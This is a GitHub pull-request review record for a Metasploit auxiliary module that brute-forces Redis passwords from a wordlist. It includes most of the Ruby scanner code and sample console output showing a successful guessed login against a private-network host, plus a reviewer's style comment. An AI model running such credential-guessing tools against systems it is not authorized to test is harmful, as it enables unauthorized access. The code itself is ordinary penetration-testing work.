{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/49873568","id":49873568,"diff_hunk":"@@ -0,0 +1,92 @@\n+##\n+# This module requires Metasploit: http://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+require 'msf/core'\n+require 'metasploit/framework/login_scanner/redis'\n+require 'metasploit/framework/credential_collection'\n+\n+class Metasploit3 < Msf::Auxiliary\n+  include Msf::Exploit::Remote::Tcp\n+  include Msf::Auxiliary::Scanner\n+  include Msf::Auxiliary::Report\n+  include Msf::Auxiliary::AuthBrute\n+\n+  def initialize(info = {})\n+    super(\n+      update_info(\n+        info,\n+        'Name'         => 'Redis Login Utility',\n+        'Description'  => 'This module attempts to authenticate to an REDIS service.',\n+        'Author'       => [ 'Nixawk' ],\n+        'References'   => [\n+          ['URL', 'http://redis.io/topics/protocol']\n+        ],\n+        'License'      => MSF_LICENSE))\n+\n+    register_options(\n+      [\n+        Opt::RPORT(6379),\n+        OptPath.new('PASS_FILE',\n+          [\n+            false,\n+            'The file that contains a list of of probable passwords.',\n+            File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_passwords.txt')\n+          ])\n+      ], self.class)\n+\n+    # redis does not have an username, there's only password\n+    deregister_options('USERNAME', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'DB_ALL_USERS')\n+  end\n+\n+  def run_host(ip)\n+    cred_collection = Metasploit::Framework::CredentialCollection.new(\n+      blank_passwords: datastore['BLANK_PASSWORDS'],\n+      pass_file: datastore['PASS_FILE'],\n+      password: datastore['PASSWORD'],\n+      # The LoginScanner API refuses to run if there's no username, so we give it a fake one.\n+      # But we will not be reporting this to the database.\n+      username: 'redis'\n+    )\n+\n+    cred_collection = prepend_db_passwords(cred_collection)\n+\n+    scanner = Metasploit::Framework::LoginScanner::REDIS.new(\n+      host: ip,\n+      port: rport,\n+      ssl: datastore['SSL'],\n+      cred_details: cred_collection,\n+      stop_on_success: datastore['STOP_ON_SUCCESS'],\n+      bruteforce_speed: datastore['BRUTEFORCE_SPEED'],\n+      max_send_size: datastore['TCP::max_send_size'],\n+      send_delay: datastore['TCP::send_delay'],\n+      framework: framework,\n+      framework_module: self,\n+      ssl_version: datastore['SSLVersion'],\n+      ssl_verify_mode: datastore['SSLVerifyMode'],\n+      ssl_cipher: datastore['SSLCipher'],\n+      local_port: datastore['CPORT'],\n+      local_host: datastore['CHOST']\n+    )\n+\n+    scanner.scan! do |result|\n+      credential_data = result.to_h\n+      credential_data.merge!(\n+        module_fullname: self.fullname,\n+        workspace_id: myworkspace_id\n+      )\n+\n+      if result.success?\n+        credential_core = create_credential(credential_data)\n+        credential_data[:core] = credential_core\n+        create_credential_login(credential_data)\n+\n+        print_good \"#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}\"","path":"modules/auxiliary/scanner/redis/redis_login.rb","position":85,"original_position":85,"commit_id":"a54a7aeb0239203ea4983f5aa99abddef8fd1f0a","original_commit_id":"a54a7aeb0239203ea4983f5aa99abddef8fd1f0a","user":{"login":"jhart-r7","id":3869433,"avatar_url":"https://avatars.githubusercontent.com/u/3869433?v=3","gravatar_id":"","url":"https://api.github.com/users/jhart-r7","html_url":"https://github.com/jhart-r7","followers_url":"https://api.github.com/users/jhart-r7/followers","following_url":"https://api.github.com/users/jhart-r7/following{/other_user}","gists_url":"https://api.github.com/users/jhart-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jhart-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhart-r7/subscriptions","organizations_url":"https://api.github.com/users/jhart-r7/orgs","repos_url":"https://api.github.com/users/jhart-r7/repos","events_url":"https://api.github.com/users/jhart-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jhart-r7/received_events","type":"User","site_admin":false},"body":"I think the `Tcp` mixin now defines `peer` -- try that instead of `#{ip}:#{rport}`","created_at":"2016-01-15T16:31:23Z","updated_at":"2016-01-15T16:31:23Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/6409#discussion_r49873568","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/49873568"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6409#discussion_r49873568"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409","id":54792152,"html_url":"https://github.com/rapid7/metasploit-framework/pull/6409","diff_url":"https://github.com/rapid7/metasploit-framework/pull/6409.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/6409.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6409","number":6409,"state":"open","locked":false,"title":"add auxiliary/scanner/redis/redis_login","user":{"login":"all3g","id":7352479,"avatar_url":"https://avatars.githubusercontent.com/u/7352479?v=3","gravatar_id":"","url":"https://api.github.com/users/all3g","html_url":"https://github.com/all3g","followers_url":"https://api.github.com/users/all3g/followers","following_url":"https://api.github.com/users/all3g/following{/other_user}","gists_url":"https://api.github.com/users/all3g/gists{/gist_id}","starred_url":"https://api.github.com/users/all3g/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/all3g/subscriptions","organizations_url":"https://api.github.com/users/all3g/orgs","repos_url":"https://api.github.com/users/all3g/repos","events_url":"https://api.github.com/users/all3g/events{/privacy}","received_events_url":"https://api.github.com/users/all3g/received_events","type":"User","site_admin":false},"body":"```\r\nmsf auxiliary(redis_login) > show options \r\n\r\nModule options (auxiliary/scanner/redis/redis_login):\r\n\r\n   Name              Current Setting                                                                   Required  Description\r\n   ----              ---------------                                                                   --------  -----------\r\n   BLANK_PASSWORDS   false                                                                             no        Try blank passwords for all users\r\n   BRUTEFORCE_SPEED  5                                                                                 yes       How fast to bruteforce, from 0 to 5\r\n   DB_ALL_CREDS      false                                                                             no        Try each user/password couple stored in the current database\r\n   DB_ALL_PASS       false                                                                             no        Add all passwords in the current database to the list\r\n   PASSWORD                                                                                            no        A specific password to authenticate with\r\n   PASS_FILE         /Users/Open-Security/Code/metasploit-framework/data/wordlists/unix_passwords.txt  no        The file that contains a list of of probable passwords.\r\n   RHOSTS            192.168.199.249                                                                   yes       The target address range or CIDR identifier\r\n   RPORT             6379                                                                              yes       The target port\r\n   STOP_ON_SUCCESS   false                                                                             yes       Stop guessing when a credential works for a host\r\n   THREADS           1                                                                                 yes       The number of concurrent threads\r\n   VERBOSE           true                                                                              yes       Whether to print output for all attempts\r\n\r\nmsf auxiliary(redis_login) > run \r\n\r\n[-] 192.168.199.249:6379 REDIS - LOGIN FAILED: redis:123456 (Incorrect: -ERR invalid password\r\n[-] 192.168.199.249:6379 REDIS - LOGIN FAILED: redis:12345 (Incorrect: -ERR invalid password\r\n[-] 192.168.199.249:6379 REDIS - LOGIN FAILED: redis:123456789 (Incorrect: -ERR invalid password\r\n[+] 192.168.199.249:6379 - LOGIN SUCCESSFUL: redis:password\r\n[*] Scanned 1 of 1 hosts (100% complete)\r\n[*] Auxiliary module execution completed\r\nmsf auxiliary(redis_login) > creds \r\nCredentials\r\n===========\r\n\r\nhost             origin           service           public  private   realm  private_type\r\n----             ------           -------           ------  -------   -----  ------------\r\n192.168.199.249  192.168.199.249  6379/tcp (redis)  redis   password         Password\r\n```","created_at":"2015-12-30T10:58:53Z","updated_at":"2016-01-15T16:31:23Z","closed_at":null,"merged_at":null,"merge_commit_sha":"ad773268dc26a6a2fca0198f0f5fa24834bc67f7","assignee":{"login":"jhart-r7","id":3869433,"avatar_url":"https://avatars.githubusercontent.com/u/3869433?v=3","gravatar_id":"","url":"https://api.github.com/users/jhart-r7","html_url":"https://github.com/jhart-r7","followers_url":"https://api.github.com/users/jhart-r7/followers","following_url":"https://api.github.com/users/jhart-r7/following{/other_user}","gists_url":"https://api.github.com/users/jhart-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/jhart-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jhart-r7/subscriptions","organizations_url":"https://api.github.com/users/jhart-r7/orgs","repos_url":"https://api.github.com/users/jhart-r7/repos","events_url":"https://api.github.com/users/jhart-r7/events{/privacy}","received_events_url":"https://api.github.com/users/jhart-r7/received_events","type":"User","site_admin":false},"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6409/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/a54a7aeb0239203ea4983f5aa99abddef8fd1f0a","head":{"label":"open-security:redis_login","ref":"redis_login","sha":"a54a7aeb0239203ea4983f5aa99abddef8fd1f0a","user":{"login":"open-security","id":14822760,"avatar_url":"https://avatars.githubusercontent.com/u/14822760?v=3","gravatar_id":"","url":"https://api.github.com/users/open-security","html_url":"https://github.com/open-security","followers_url":"https://api.github.com/users/open-security/followers","following_url":"https://api.github.com/users/open-security/following{/other_user}","gists_url":"https://api.github.com/users/open-security/gists{/gist_id}","starred_url":"https://api.github.com/users/open-security/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/open-security/subscriptions","organizations_url":"https://api.github.com/users/open-security/orgs","repos_url":"https://api.github.com/users/open-security/repos","events_url":"https://api.github.com/users/open-security/events{/privacy}","received_events_url":"https://api.github.com/users/open-security/received_events","type":"Organization","site_admin":false},"repo":{"id":43619841,"name":"metasploit-framework","full_name":"open-security/metasploit-framework","owner":{"login":"open-security","id":14822760,"avatar_url":"https://avatars.githubusercontent.com/u/14822760?v=3","gravatar_id":"","url":"https://api.github.com/users/open-security","html_url":"https://github.com/open-security","followers_url":"https://api.github.com/users/open-security/followers","following_url":"https://api.github.com/users/open-security/following{/other_user}","gists_url":"https://api.github.com/users/open-security/gists{/gist_id}","starred_url":"https://api.github.com/users/open-security/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/open-security/subscriptions","organizations_url":"https://api.github.com/users/open-security/orgs","repos_url":"https://api.github.com/users/open-security/repos","events_url":"https://api.github.com/users/open-security/events{/privacy}","received_events_url":"https://api.github.com/users/open-security/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/open-security/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/open-security/metasploit-framework","forks_url":"https://api.github.com/repos/open-security/metasploit-framework/forks","keys_url":"https://api.github.com/repos/open-security/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/open-security/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/open-security/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/open-security/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/open-security/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/open-security/metasploit-framework/events","assignees_url":"https://api.github.com/repos/open-security/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/open-security/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/open-security/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/open-security/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/open-security/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/open-security/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/open-security/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/open-security/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/open-security/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/open-security/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/open-security/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/open-security/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/open-security/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/open-security/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/open-security/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/open-security/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/open-security/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/open-security/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/open-security/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/open-security/metasploit-framework/merges","archive_url":"https://api.github.com/repos/open-security/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/open-security/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/open-security/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/open-security/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/open-security/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/open-security/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/open-security/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/open-security/metasploit-framework/releases{/id}","created_at":"2015-10-04T00:28:05Z","updated_at":"2015-10-04T00:28:41Z","pushed_at":"2016-01-11T16:48:15Z","git_url":"git://github.com/open-security/metasploit-framework.git","ssh_url":"git@github.com:open-security/metasploit-framework.git","clone_url":"https://github.com/open-security/metasploit-framework.git","svn_url":"https://github.com/open-security/metasploit-framework","homepage":"http://www.metasploit.com/","size":288768,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"47f9880690fa7c7228a57cfd0fba12f36c93312e","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars.githubusercontent.com/u/1013671?v=3","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","created_at":"2011-08-30T06:13:20Z","updated_at":"2016-01-15T15:09:21Z","pushed_at":"2016-01-15T15:05:25Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"http://www.metasploit.com/","size":468737,"stargazers_count":5104,"watchers_count":5104,"language":"Ruby","has_issues":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":3672,"mirror_url":null,"open_issues_count":258,"forks":3672,"open_issues":258,"watchers":5104,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/6409"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6409"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/6409/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/6409/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/a54a7aeb0239203ea4983f5aa99abddef8fd1f0a"}}}}